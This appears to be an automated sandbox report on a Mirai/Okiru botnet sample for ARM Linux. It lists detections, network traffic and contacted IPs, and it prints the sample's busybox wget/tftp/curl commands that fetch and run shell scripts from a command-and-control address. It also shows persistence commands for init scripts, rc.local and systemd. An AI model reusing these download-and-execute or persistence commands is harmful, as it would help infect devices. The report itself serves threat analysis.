Linux Analysis Report
arm7.nn.elf

Overview

General Information

Sample name: arm7.nn.elf
Analysis ID: 1561669
MD5: 52f8ba7ec3fb098b98b2a6af0e1a167d
SHA1: fec4ea7eef169861312a6f18bd33f7717135616a
SHA256: ecb44ab91fc6a094fb568523f7e23f3338b95386b71657a5f335b1031c9f89cf
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm7.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm7.nn.elf Virustotal: Detection: 55% Perma Link
Found strings indicative of a multi-platform dropper
Source: arm7.nn.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: arm7.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:38964 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.23:44342 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/arm7.nn.elf (PID: 6241) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 27.191.19.247
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 209.40.141.84
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 11.190.156.76
Source: unknown TCP traffic detected without corresponding DNS query: 1.49.96.184
Source: unknown TCP traffic detected without corresponding DNS query: 120.85.238.59
Source: unknown TCP traffic detected without corresponding DNS query: 49.143.252.95
Source: unknown TCP traffic detected without corresponding DNS query: 105.196.233.237
Source: unknown TCP traffic detected without corresponding DNS query: 96.37.190.58
Source: unknown TCP traffic detected without corresponding DNS query: 108.26.187.58
Source: unknown TCP traffic detected without corresponding DNS query: 180.161.230.112
Source: unknown TCP traffic detected without corresponding DNS query: 189.225.107.26
Source: unknown TCP traffic detected without corresponding DNS query: 27.191.19.247
Source: unknown TCP traffic detected without corresponding DNS query: 48.141.163.131
Source: unknown TCP traffic detected without corresponding DNS query: 209.40.141.84
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: arm7.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, arm7.nn.elf.38.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://193.143.1.70/
Source: arm7.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: arm7.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: arm7.nn.elf String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample and/or dropped files contains symbols with suspicious names
Source: arm7.nn.elf ELF static info symbol of initial sample: __gnu_unwind_execute
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//ro
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm7.nn.elf (PID: 6260) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6260) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6260) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6260) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6260) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6260) SIGKILL sent: pid: 6293, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6260) SIGKILL sent: pid: 6311, result: successful Jump to behavior
Source: classification engine Classification label: mal88.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm7.nn.elf (PID: 6241) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm7.nn.elf (PID: 6241) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6333) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6361) File: /etc/rc.d/S99arm7.nn.elf -> /etc/init.d/arm7.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm7.nn.elf (PID: 6241) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6328) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6349) File: /etc/init.d/arm7.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6494/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6493/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6496/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6495/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6465/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6498/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6464/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6068/cmdline Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6497/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6467/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6500/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6466/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6499/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6492/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6502/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6501/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6504/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6503/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6506/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6505/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6508/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6387) File opened: /proc/6507/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm7.nn.elf (PID: 6282) Shell command executed: /bin/sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6322) Shell command executed: /bin/sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6331) Shell command executed: /bin/sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6334) Shell command executed: /bin/sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm7.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm7.nn.elf'\n /tmp/arm7.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm7.nn.elf'\n killall arm7.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm7.nn.elf" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6339) Shell command executed: /bin/sh -c "chmod +x /etc/init.d/arm7.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6350) Shell command executed: /bin/sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 6356) Shell command executed: /bin/sh -c "ln -s /etc/init.d/arm7.nn.elf /etc/rc.d/S99arm7.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6328) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6349) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm7.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6355) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6290) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm7.nn.elf (PID: 6241) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6328) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6349) File: /etc/init.d/arm7.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm7.nn.elf (PID: 6241) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/arm7.nn.elf (PID: 6241) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6334) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm7.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm7.nn.elf (PID: 6241) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6334) File: /etc/init.d/arm7.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm7.nn.elf (PID: 6241) Queries kernel information via 'uname': Jump to behavior
Source: arm7.nn.elf, 6260.1.0000562bb9b2c000.0000562bb9c7c000.rw-.sdmp Binary or memory string: !/usr/bin/vmtoolsd!/proc/419/exe1/usr/libexec/gvfs-mtp-volume-monitor
Source: arm7.nn.elf, 6260.1.00007f573003f000.00007f5730044000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm7.nn.elf, 6241.1.0000562bb9b2c000.0000562bb9c7c000.rw-.sdmp, arm7.nn.elf, 6260.1.0000562bb9b2c000.0000562bb9c7c000.rw-.sdmp Binary or memory string: /etc/qemu-binfmtP
Source: arm7.nn.elf, 6241.1.00007ffca5bdc000.00007ffca5bfd000.rw-.sdmp, arm7.nn.elf, 6260.1.00007ffca5bdc000.00007ffca5bfd000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm7.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.nn.elf
Source: arm7.nn.elf, 6241.1.0000562bb9b2c000.0000562bb9c7c000.rw-.sdmp, arm7.nn.elf, 6260.1.0000562bb9b2c000.0000562bb9c7c000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.nn.elf, 6241.1.00007ffca5bdc000.00007ffca5bfd000.rw-.sdmp, arm7.nn.elf, 6260.1.00007ffca5bdc000.00007ffca5bfd000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm7.nn.elf, 6241.1.0000562bb9b2c000.0000562bb9c7c000.rw-.sdmp, arm7.nn.elf, 6260.1.0000562bb9b2c000.0000562bb9c7c000.rw-.sdmp Binary or memory string: +V!/etc/qemu-binfmt/arm
Source: arm7.nn.elf, 6260.1.00007f573003f000.00007f5730044000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsdp<
Source: arm7.nn.elf, 6241.1.00007ffca5bdc000.00007ffca5bfd000.rw-.sdmp Binary or memory string: /tmp/qemu-open.GXEQs8
Source: arm7.nn.elf, 6241.1.0000562bb9b2c000.0000562bb9c7c000.rw-.sdmp, arm7.nn.elf, 6260.1.0000562bb9b2c000.0000562bb9c7c000.rw-.sdmp Binary or memory string: /etc/qemu-binfmtP /usr/lib/bluetooth/xfco
Source: arm7.nn.elf, 6241.1.00007ffca5bdc000.00007ffca5bfd000.rw-.sdmp Binary or memory string: +V/tmp/qemu-open.GXEQs8:u

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 6260.1.00007f5730017000.00007f5730037000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6241.1.00007f5730017000.00007f5730037000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 6260.1.00007f5730017000.00007f5730037000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6241.1.00007f5730017000.00007f5730037000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 6241, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 6260, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 6260.1.00007f5730017000.00007f5730037000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6241.1.00007f5730017000.00007f5730037000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 6260.1.00007f5730017000.00007f5730037000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6241.1.00007f5730017000.00007f5730037000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 6241, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 6260, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
108.218.207.151
 unknown United States
7018 ATT-INTERNET4US false
44.41.0.148
 unknown United States
7377 UCSDUS false
222.97.59.78
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
186.140.29.220
 unknown Argentina
11315 TelefonicaMovilesArgentinaSAMovistarArgentinaAR false
49.164.163.139
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
83.93.226.228
 unknown Denmark
3292 TDCTDCASDK false
141.134.222.109
 unknown Belgium
6848 TELENET-ASBE false
113.155.105.170
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
59.165.85.60
 unknown India
17908 TCISLTataCommunicationsIN false
184.14.85.135
 unknown United States
7011 FRONTIER-AND-CITIZENSUS false
73.57.31.40
 unknown United States
7922 COMCAST-7922US false
189.14.240.153
 unknown Brazil
14282 PERSISTELECOMBR false
29.55.170.110
 unknown United States
7922 COMCAST-7922US false
35.6.89.70
 unknown United States
36375 UMICH-AS-5US false
90.169.71.146
 unknown Spain
12479 UNI2-ASES false
215.110.139.87
 unknown United States
721 DNIC-ASBLK-00721-00726US false
88.227.142.200
 unknown Turkey
9121 TTNETTR false
78.69.71.77
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
44.116.143.183
 unknown United States
7377 UCSDUS false
163.125.198.12
 unknown China
17623 CNCGROUP-SZChinaUnicomShenzennetworkCN false
149.18.139.110
 unknown United States
174 COGENT-174US false
75.140.161.71
 unknown United States
20115 CHARTER-20115US false
148.176.149.205
 unknown United Kingdom
6400 CompaniaDominicanadeTelefonosSADO false
64.56.157.203
 unknown Canada
15102 ASN-WIBAND-1CA false
210.195.66.18
 unknown Malaysia
4788 TMNET-AS-APTMNetInternetServiceProviderMY false
146.187.189.126
 unknown United States
3935 EASTWAUNIVUS false
169.91.187.169
 unknown United States
37611 AfrihostZA false
12.124.237.61
 unknown United States
7018 ATT-INTERNET4US false
45.154.146.255
 unknown Poland
61251 HOST4BIZ-ASPL false
86.107.89.70
 unknown Iran (ISLAMIC Republic Of)
12880 DCI-ASIR false
31.232.159.158
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
150.98.116.172
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
177.172.95.39
 unknown Brazil
26599 TELEFONICABRASILSABR false
29.7.196.37
 unknown United States
7922 COMCAST-7922US false
39.160.134.110
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
166.74.224.28
 unknown United States
7018 ATT-INTERNET4US false
72.128.228.16
 unknown United States
10796 TWC-10796-MIDWESTUS false
121.51.22.126
 unknown China
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
18.53.18.246
 unknown United States
3 MIT-GATEWAYSUS false
16.74.158.242
 unknown United States
unknown unknown false
189.46.170.0
 unknown Brazil
27699 TELEFONICABRASILSABR false
45.201.230.233
 unknown Seychelles
131178 KINGCORP-KHOpenNetISPCambodiaKH false
176.196.182.56
 unknown Russian Federation
39927 ELIGHT-ASRU false
49.167.178.230
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
79.174.130.81
 unknown Belgium
34762 COMBELL-ASBE false
83.90.31.246
 unknown Denmark
3292 TDCTDCASDK false
12.189.29.20
 unknown United States
7018 ATT-INTERNET4US false
9.15.165.84
 unknown United States
3356 LEVEL3US false
30.83.90.10
 unknown United States
7922 COMCAST-7922US false
143.78.213.0
 unknown United States
1489 DNIC-ASBLK-01488-01489US false
97.80.59.174
 unknown United States
20115 CHARTER-20115US false
33.219.71.153
 unknown United States
2686 ATGS-MMD-ASUS false
36.211.231.93
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
111.243.14.173
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
18.44.62.71
 unknown United States
3 MIT-GATEWAYSUS false
176.99.225.31
 unknown Russian Federation
35598 INETCOMRU false
62.137.199.53
 unknown United Kingdom
12337 NORIS-NETWORKITServiceProviderlocatedinNuernbergGerm false
45.182.36.35
 unknown Peru
269265 reginaldoferreiradecerqueirajuniorBR false
35.74.17.116
 unknown United States
16509 AMAZON-02US false
157.171.213.243
 unknown Sweden
22192 SSHENETUS false
120.163.221.201
 unknown Indonesia
4761 INDOSAT-INP-APINDOSATInternetNetworkProviderID false
173.56.204.138
 unknown United States
701 UUNETUS false
31.45.136.185
 unknown Croatia (LOCAL Name: Hrvatska)
12810 VIPNET-AS3GGSMandInternetServiceProviderHR false
197.38.183.244
 unknown Egypt
8452 TE-ASTE-ASEG false
124.34.119.210
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
102.49.136.243
 unknown Morocco
6713 IAM-ASMA false
46.111.15.136
 unknown Russian Federation
2854 ROSPRINT-ASRU false
174.100.61.50
 unknown United States
10796 TWC-10796-MIDWESTUS false
189.252.227.94
 unknown Mexico
8151 UninetSAdeCVMX false
125.44.4.180
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
116.116.247.112
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
222.174.101.115
